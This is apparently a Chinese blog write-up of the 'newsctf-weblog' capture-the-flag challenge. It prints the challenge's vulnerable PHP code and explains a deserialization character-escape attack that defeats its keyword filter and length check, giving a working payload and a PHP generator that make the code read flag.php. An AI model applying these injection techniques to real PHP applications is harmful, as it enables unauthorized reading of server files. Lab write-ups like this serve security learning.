newsctf-weblog

代码:

<?php
highlight_file(__FILE__);
error_reporting(0);
class B{
    public $logFile;
    public $initMsg;
    public $exitMsg;
  
    function __construct($file){
        // initialise variables
        $this->initMsg="#--session started--#\n";
        $this->exitMsg="#--sessionnd--#\n";
        $this->logFile =  $file;
        readfile($this->logFile);
        
    }
  
    function log($msg){
        $fd=fopen($this->logFile,"a+");
        fwrite($fd,$msg."\n");
        fclose($fd);
    }
  
    function __destruct(){
        echo "this is destruct";
    }
}

class A {
    public $file = 'flag{xxxxxxxx}';
    public $weblogfile;
    
    function __construct() {
        echo $this->file;
    }

    function __wakeup(){
        // self::waf($this->filepath);
        $obj = new B($this->weblogfile);

    }

    public function waf($str){
        $str=preg_replace("/[<>*#'|?\n ]/","",$str);
        $str=str_replace('flag','',$str);
        return $str;
    }

    function __destruct(){
        echo "this is destruct";
    }

}
class C {
    public $file;
    public $weblogfile;
}
class D{
    public $logFile;
    public $initMsg;
    public $exitMsg;
}

function is_serialized($data){

    $r = preg_match_all('/:\d*?:"/',$data,$m,PREG_OFFSET_CAPTURE);
    if(!empty($r)) {
        foreach($m[0] as $v){
            $a = intval($v[1])+strlen($v[0])+intval(substr($v[0],1));
            if($data[$a] !== '"')
                 return false;
        }
    }
    if(!is_string($data))
        return false;
    $data = trim($data);
    if('N;' === $data)
        return true;
    if(!preg_match('/^([adObis]):/',$data,$badions))
        return false;
    switch($badions[1]){
        case 'a':
        case 'O':
        case 's':
            if(preg_match( "/^{$badions[1]}:[0-9]+:.*[;}]\$/s", $data ) )
                return true;
            break;
        case 'b':
        case 'i':
        case 'd':
            if(preg_match("/^{$badions[1]}:[0-9.E-]+;\$/", $data))
                return true;
            break;
    }
    return false;

}
$log = $_GET['log'];
if(!is_serialized($log)){
    die('no1');
}
$log1 = preg_replace("/A/","C",$log);
$log2 = preg_replace("/B/","D",$log1);
if(!unserialize($log2)){
    die('no2');
}
$log = preg_replace("/[<>*#'|?\n ]/","",$log);
$log = str_replace('flag','',$log);
$log_unser = unserialize($log);
?>

 

通过对传入参数$log的反序列化自动调用classA中的__wakeup(),并且传入$this->filepath参数,通过classB中的__construct($file)函数中的readfile($this->weblogfile)函数直接查看传入的$this->weblogfile的文件。

 

1、使用双写,绕过str_replace

flflagag.php,但是这里有前提条件

if(!unserialize($log2));

 

2、反序列化字符逃逸

O:1:"A":2:{s:4:"file";s:25:"flagflagflagflagflagflag*";s:10:"weblogfile";s:39:";s:10:"weblogfile";s:8:"flflagag.php";}";}

这里会将flagflagflagflagflagflag*替换为空,flflagag.php替换成flag.php就变成了

O:1:"A":2:{s:4:"file";s:25:"";s:10:"weblogfile";s:39:";s:10:"weblogfile";s:8:"flag.php";}";}

这里file的值就变成了";s:10:"weblogfile";s:39:,weblogfile的值就变成了flag.php

 

3、正则匹配preg_match_all('/:\d*?:"/',$data,$m,PREG_OFFSET_CAPTURE)绕过

is_serialized()函数中匹配了   :数字:"   中数字的大小是否和后面字符的长度一样,而在   :8:"flflagag.php" 这里则会返回false,所以我们要在8前面加上一个被替换的字符然后绕过正则

 

payload:

O:1:"A":2:{s:4:"file";s:25:"flagflagflagflagflagflag*";s:10:"weblogfile";s:40:";s:10:"weblogfile";s:*8:"flflagag.php";}";}

 

<?php
class A {
    public $file='flagflagflagflagflagflag*';
    public $weblogfile=';s:10:"weblogfile";s:*8:"flflagag.php";}';
}

$a = new A();
echo serialize($a);

?>

 

posted @ 2021-06-08 16:30  1jzz  阅读(135)  评论(0编辑  收藏  举报